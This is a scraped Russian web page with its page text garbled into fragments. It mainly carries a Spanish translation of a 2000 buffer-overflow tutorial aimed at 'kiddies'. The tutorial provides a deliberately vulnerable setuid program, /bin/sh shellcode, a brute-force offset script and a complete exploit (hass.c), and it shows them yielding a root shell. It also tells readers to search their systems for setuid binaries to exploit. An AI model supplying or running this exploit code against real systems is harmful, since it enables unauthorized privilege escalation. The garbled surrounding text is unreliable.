DVD-ROM: eXeL@B DVD !
eXeL@B  !


2 !


>>
| | RAR-c | FAQ | | |
| | | | |

C ++



, ++, WinAPI , MSDN. , 5 . , . , , , Ollydbg IDA Pro. ? , " " , . : . , , , . , .
 
 

/* translated by honoriak <EGC@argen.net> thz to teleh0r for letting me

translate and publish this text in spanish */

 

-- buffer overflows para 'kiddies' (chavalotes) (plataformas x86) --

<teleh0r@doglover.com>

http://teleh0r.cjb.net

===========================================================

 

 

---\ Introduccion \

 

Tu has leido todas las guias sobre buffer overflows y no has sacado nada en

limpio. No te preocupes, ahora vas a poder leer la unica guia que necesitas!

Ehh, esto no es asi verdaderamente - pero este manual es un buen comienzo.

Si quieres aprender esto bien, lee el articulo de aleph one en phrack,

revista numero 49, articulo numero 14 (http://www.phrack.com) o tambien la

traduccion al castellano en http://julianor.tripod.com/smashing/P49-4-Smashing_the_stack-Spanish.txt

 

Nota: Si, esto es para 'kiddies'. Por que? Me gusta cuando hay un nuevo

exploit en packetstorm - y quien tiene mas tiempo para comprobar programas

'explotables'? Los chavales!

 

---\ Encontrando programas para 'explotar' \

 

Lo primero que necesitas encontrar es un programa que puedas 'explotar',

debe tener unos privilegios especiales, sino seria una perdida de tiempo

intentar 'explotarlo'. Ten en cuenta que un programa que no es setuid, o

setgid.. por ejemplo slackware debe ser setuid en redhat.

 

Para hacer esta tarea mas simple, haz una busqueda de todos los

programas setuid/setgid que existen en tu distribucion.

 

Si necesitas ayuda con eso, y problablemente la necesitaras - encontes

visita packetstorm y en el directorio de los exploits-9901, baja mother2.sh.

 

[root@localhost teleh0r]# ./mother2.sh

 

* mother2.sh by: syg @ EFnet

*

* Usage: ./mother2.sh <setuid-OutPutFile> <setgid-OutPutFile>

 

[root@localhost teleh0r]# ./mother2.sh setuid setgid

 

* mother2.sh by: syg @ EFnet

*

* setuid-OutPutFile -> setuid

* setgid-OutPutFile -> setgid

*

* Now scanning /* for setuid...

*

* setuid scan done...

*

* Now scanning /* for setgid...

*

* setgid scan done...

*

* mother2.sh complete...

* Check setuid and setgid

 

[root@localhost teleh0r]# ls setgid setuid

setgid setuid

 

Despues echa un vistazo a la lista, debe haber una para setuid y otra para

setgid.

 

---\ Un ejemplo real \

 

Ok, el momento para un ejemplo. He escrito un reducido programa que es

'explotable' a traves de un buffer overflow. Copia la KIDVULN sin verificar

los saltos.

 

(strcpy es realmente peligroso! ;)

 

Ok, veamos como podemos 'explotar' esto, eso es lo que quieres, no?

Primero compila el codigo que esta justo debajo. (gcc -o kid kid.c)

 

-------\ kid.c \

 

#include <stdio.h>

 

int main() {

char kidbuffer[1024];

 

if (getenv("KIDVULN") == NULL) {

fprintf(stderr, "Grow up!\n");

exit(1);

}

/* Mete los datos de la variable de entorno en el buffer */

strcpy(kidbuffer, (char *)getenv("KIDVULN"));

 

printf("La variable de entorno KIDVULN es:\n\"%s\".\n\n", kidbuffer);

 

printf("No es la vida maravillosa en una guarderia?\n");

 

return 0;

}

-------\

 

Para hacerte sentir extra-elite, como root haz chemod kid u+s, y situa el

programa en el directorio /bin. Ahora comencemos con el 'exploit'.

 

[root@localhost teleh0r]# export KIDVULN=erl -e '{print

"A"x"1030"}'

[root@localhost teleh0r]# /bin/kids

Environment variable KIDVULN is:

"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAA....

 

No es la vida maravillosa en una guarderia?

Segmentation fault (core dumped)

[root@localhost teleh0r]# gdb -c core /bin/kids

GNU gdb 19991004

Copyright 1998 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain

conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details.

This GDB was configured as "i386-redhat-linux"...

Core was generated by /bin/kids'.

Program terminated with signal 11, Segmentation fault.

Reading symbols from /lib/libc.so.6...done.

Reading symbols from /lib/ld-linux.so.2...done.

#0 0x4000af9a in _dl_sysdep_output (fd=2,

msg=0x40108f8b <Address 0x40108f8b out of bounds>) at dl-misc.c:95

95 dl-misc.c: No such file or directory.

(gdb) info register esp

esp 0xbffff720 -1073744096

(gdb) quit

 

Primero use 1030 A's porque eso es lo que necesito. Mira el codigo, sabemos

que kidbuffer puede ser de 1024 bytes como maximo.

(char kidbuffer[1024];)

Ok, ahora tu tienes que conseguir lo que necesitas para 'explotar' este

programa. Tienes las dimensiones y intentaremos usar esp como direccion de

retorno de nuestro exploit.

No te preocupes, he escrito un exploit para que puedas usar en muchos casos,

y te mostrare lo que cambiar para hacer que funcione en todos los casos.

 

Ok, asi que tenemos:

 

RET=0xbffff720 // (direccion de retorno)

LEN=1030 // (dimensiones del buffer)

 

Cambia esto en el exploit que he escrito debajo, y despues el comienzo del

exploit parecera algo como esto:

 

-------\

 

#include <stdio.h>

 

/* teleh0r's own k-rad shellcode! */

 

char codez[] ="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89"

"\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"

"\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff"

"\xff\xff/bin/sh";

 

#define NOP 0x90

#define LEN 1030

#define RET 0xbffff720 // Redhat 6.2 (Zoot)

// encontraras el exploit completo al final...

 

-------\

 

Ahora por fuerza bruta haremos esto, y para lo que usaremos este simple

shell script.

 

-------\ bah.sh \

 

#!/bin/sh

 

NUMBER=-5000

 

until [ "$NUMBER" -gt "5000" ]; do

./hass $NUMBER

echo "Usando este offset : $NUMBER" # > file

NUMBER=$[$NUMBER+5]

done

 

-------\

 

Ejecuta este script, y si tu terminal se jode, imprime el offset en un

fichero, y como otro usuario, catealo cuando el exploit salte a una shell.

 

[root@localhost /root]# ./bah.sh

 

- (c) 'teleh0r@doglover.com' anno 2000 -

Use : ./hass [offset]

Using: address 0xbffff34c

 

La variable de entorno KIDVULN es:

"

k^

1A

F

F

0

 

s

V

I

1U

X@I

h\???/bin/sh??8s??8s??8s??8s??8s??8s??8s??8s??8s??8s??8s??8s??8s??8s??8s??8s??8

 

No es la vida maravillosa en una guarderia?

bash#

 

-------\

 

Despues reemplaza la antigua direccion de retorno con el nuevo RET que el

exploit te ha dado - asi lo tenemos por fuerza bruta - asi que el nuevo

RET=0xbffff34c

 

[root@localhost teleh0r]# ./hass

 

- (c) 'teleh0r@doglover.com' anno 2000 -

Use : ./hass [offset]

Using: address 0xbffff34c

 

La variable de entorno KIDVULN es:

"

k^

1A

F

F

0

 

s

V

I

1U

X@I

h\???/bin/sh??Ls??Ls??Ls??Ls??Ls??Ls??Ls??Ls??Ls??Ls??Ls??Ls??Ls??Ls??Ls??Ls??L

 

No es la vida maravillosa en una guarderia?

bash# wh0a! lo hice, lo hice!

 

 

--\ Programas que necesitaras \

 

Tu puedes usar mis codigos libremente, pero no tienes que adjuntar ningun

tipo de credito.

 

Como conseguir la shellcode?

Puedes tambien usar un "generador de shells", que te hara el shellcode para

ti. "execve-shell.tar.gz" el cual puedes conseguir en la pagina de teso esta

muy bien y es facil de usar (http://teso.scene.at/)

 

Otro programa bueno que puedes probar hoy en dia, es un script en perl

llamado getenv.pl hecho por v9@fakehalo.org. Deberia poderse encontrar esta

aplicacion en packetstorm.

 

Y desde luego, el exploit usado por ejemplo.

 

-------\ hass.c \

 

/*

**

**

** -- INSERT K-RAD GREETZ HERE! --

**

** y0y0y0y0!

** hecho como ejemplo usado en este texto. (kid.c)

** Si por alguna razon no va, intentalo por fuerza bruta!

*/

 

#include <stdio.h>

 

/* teleh0r's own k-rad shellcode! */

 

char codez[] ="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89"

"\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"

"\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff"

"\xff\xff/bin/sh";

 

#define NOP 0x90

#define LEN 1030

#define RET 0xbffffc10 // Redhat 6.2 (Zoot)

 

void main(int argc, char *argv[]) {

 

char buffer[LEN];

long retaddr, offset;

int i;

 

offset = 0;

if (argc > 1) {

offset = atol(argv[1]);

}

retaddr = RET + offset;

 

printf("\n- (c) teleh0r@doglover.com anno 2000 -\n");

printf("Use : %s [offset] \n", argv[0]);

printf("Using: address 0x%lx\n\n", retaddr);

 

for (i = 0; i < LEN; i += 4)

*(long *) &buffer[i] = retaddr;

 

for (i = 0; i < (LEN - strlen(codez) - 100); ++i)

*(buffer + i) = NOP;

 

memcpy(buffer + i, codez, strlen(codez));

 

setenv("KIDVULN", buffer, 1);

execl("/bin/kid", "kid", 0);

 

return 0;

}

-------\

 

 

*/ translated finished Sat Dec 2 01:58:18 CET 2000 */



<<

<<




https://exelab.ru/pro/



 DVD-ROM: eXeL@B DVD !


EXELAB.rU
 ReactOS